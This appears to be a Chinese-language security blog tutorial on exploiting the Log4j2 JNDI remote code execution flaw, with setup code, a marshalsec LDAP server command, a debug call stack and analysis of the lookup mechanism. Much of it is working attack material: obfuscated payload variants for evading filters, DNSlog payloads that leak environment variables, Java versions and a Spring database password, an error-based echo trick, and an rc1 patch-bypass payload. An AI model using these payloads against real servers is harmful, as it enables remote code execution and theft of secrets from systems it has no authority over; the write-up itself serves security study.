log4j2 RCE入门

首先需要了解一下log4j的依赖包,使用jar包暂且不说,如果是maven项目导入的话,需要导入两个包

log4jlog4j-api

log4j 包含.class
log4j-api 包含.class但是只是一堆接口而已,实际使用需要log4j
log4j-core 包含.class与.java也就是源码

两者缺一不可,其他的东西可以自己去了解一下

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>

demo

我们先看代码

这里使用的版本是 jdk8u181

首先,需要开启ldap服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exp
1
2
3
4
5
6
7
8
9
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jRce {
public static final Logger logger= LogManager.getLogger(log4jRce.class);
public static void main(String[] args) {
logger.error("jndi:ldap://127.0.0.1:1389/Exp}");
}
}

操作调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
lookup:55, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:7, log4jRce

变种 payload

会对payload进行一个递归的处理

1
2
3
4
5
6
7
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

分析

ElasticSearch利用JavaSecurityManager安全机制来防御文件操作和Socket操作,所以无法正常连接远程服务器

这种不能RCE的情况也说明了,研究log4j2非RCE的必要性,看看是否能信息泄露

解决:

  • 获取:利用${}和其他各种Lookup
  • 带出:利用dnslog或直接dns协议

1. 嵌套标签

1
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}

Log4j2是在substitute方法中递归解析${}表达式,所以可以利用这种嵌套标签,从内到外获取${}中的内容,然后分配给对应的Lookup做解析,获得信息后通过Dnslog带出

1
2
3
4
5
6
7
8
9
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jRce {
public static final Logger logger= LogManager.getLogger(log4jRce.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://${env:OS}.12qtuf.dnslog.cn}");
}
}

image-20220317171103439

在其中试一些 payload 的时候:

1
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}

是无法执行通的,这里不知道是为什么,希望一些师傅能解答

2.Sys与Env

信息来自于System.getProperty()System.getenv()

参考这个师傅的:https://github.com/jas502n/Log4j2-CVE-2021-44228

师傅针对不同版本做出了一些例子

3. Bundle

在浅蓝师傅的文章中提到的一种特殊Lookup

源码的BundleLookup核心内容如下

1
public String lookup(final LogEvent event, final String key) {    ...    final String bundleName = keys[0];    final String bundleKey = keys[1];    ...    return ResourceBundle.getBundle(bundleName).getString(bundleKey);}

在通常情况下这个ResourceBundle被用来做国际化,网站通常会给一段表述的内容翻译成多种语言

SpringBoot下可能会获取到关键信息,将会比SysEnv更严重

但这种情况略显鸡肋,需要手动排除SpringBoot自带的日志依赖并加入Log4j2的依赖(这种情况可能不多)

1
<dependency>    <groupId>org.springframework.boot</groupId>    <artifactId>spring-boot-starter</artifactId>    <exclusions>        <exclusion>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-starter-logging</artifactId>        </exclusion>    </exclusions></dependency><dependency>    <groupId>org.springframework.boot</groupId>    <artifactId>spring-boot-starter-log4j2</artifactId></dependency>

通过${bundle:application:spring.datasource.password}可以直接拿到数据库密码,之后带入DNSlog,也可以使用

4. DNS

DNS协议是属于JNDI协议的,所以我们也可以利用DNS协议来带一些信息

编写测试代码

1
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class log4jRce {    public static final Logger logger= LogManager.getLogger(log4jRce.class);    public static void main(String[] args) {        logger.error("${jndi:dns://127.0.0.1:8888/${java:version}}");    }}

之后,使用 nc -luvp开启一个监听的端口

5. 不出网回显

log4j整体流程下有这么一部

tryCallAppender方法中catchRuntimeException

1
private void tryCallAppender(final LogEvent event) {    try {        appender.append(event);    } catch (final RuntimeException error) {        handleAppenderError(event, error);    } catch (final Exception error) {        handleAppenderError(event, new AppenderLoggingException(error));    }}

如果配置了ignoreExceptions选项,就会直接抛出来

1
private void handleAppenderError(final LogEvent event, final RuntimeException ex) {    appender.getHandler().error(createErrorMsg("An exception occurred processing Appender "), event, ex);    if (!appender.ignoreExceptions()) {        throw ex;    }}

接下来,我们就要想办法去制造一个RuntimeException

例如字符串转数字中有一个NumberFormatException异常,它父类的父类是RuntimeException

1
public class NumberFormatException extends IllegalArgumentException {}public class IllegalArgumentException extends RuntimeException {}

JndiManager.lookup中name是protocal://host:port/path

其中port本该是int如果给它无法转int的字符串就会抛出这里的信息

又联想到${}是支持嵌套标签的,这里嵌入真正想要得到的结果,即可抛出执行结果

根据这个思路,成功在Tomcat项目中回显执行结果(例如这里的${java:version}

能够回显的Payload是这样:

1
${jndi:ldap://x.x.x.x:${java:version}/xxx}

浅蓝师傅的思路是来自于端口字符串强转int报错来回显

log4j2.xml中开启配置:ignoreExceptions="false"

1
<?xml version="1.0" encoding="UTF-8"?><Configuration status="warn" name="MyApp" packages="">    <Appenders>        <Console name="STDOUT" target="SYSTEM_OUT" ignoreExceptions="false">            <PatternLayout pattern="%m%n"/>        </Console>    </Appenders>    <Loggers>        <Root level="error">            <AppenderRef ref="STDOUT"/>        </Root>    </Loggers></Configuration>

在实际的环境中,有开启这个配置的概率,参考apache官方的描述

大致意思是在FailoverAppender情况下必须设置该选项为false

某些情况下开发者想让错误报出来便于调试,也会故意开启这个选项

1
ignoreExceptions:The default is true, causing exceptions encountered while appending events to be internally logged and then ignored. When set to false exceptions will be propagated to the caller, instead. You must set this to false when wrapping this Appender in a FailoverAppender.

Tomcat中使用Log4j2的配置文件需要修改web.xml

1
<listener>    <listener-class>org.apache.logging.log4j.web.Log4jServletContextListener</listener-class></listener><filter>    <filter-name>log4jServletFilter</filter-name>    <filter-class>org.apache.logging.log4j.web.Log4jServletFilter</filter-class></filter><context-param>    <param-name>log4jConfiguration</param-name>    <param-value>file:///YOUR_LOG4J2.XML_PATH</param-value></context-param><filter-mapping>    <filter-name>log4jServletFilter</filter-name>    <url-pattern>/*</url-pattern>    <dispatcher>REQUEST</dispatcher>    <dispatcher>FORWARD</dispatcher>    <dispatcher>INCLUDE</dispatcher>    <dispatcher>ERROR</dispatcher>    <dispatcher>ASYNC</dispatcher></filter-mapping>

来个Servlet即可触发

1
@WebServlet("/test")public class DemoServlet extends HttpServlet {    private static final Logger logger = LogManager.getLogger();    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        logger.error("${jndi:ldap://127.0.0.1:${java:runtime}/badClassName}");    }}

RC1 修复绕过

修复版本2.15.0-rc1

官方发布了补丁,就说是可以被绕过了,但是经过师傅们得分析,实际还是需要开启一些配置才能算绕过得

默认配置下是不能触发JNDI远程加载的,单就这个条件来说我觉得就很勉强了,但是确实更改了配置后就可以触发漏洞,

这里先鸽一下:说一下思路:

过滤了RMI,但是LDAP方式还是保留得

1
${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

参考文章

https://xz.aliyun.com/t/10659

https://xz.aliyun.com/t/10649

https://www.anquanke.com/post/id/263325#h2-5

https://tttang.com/archive/1378/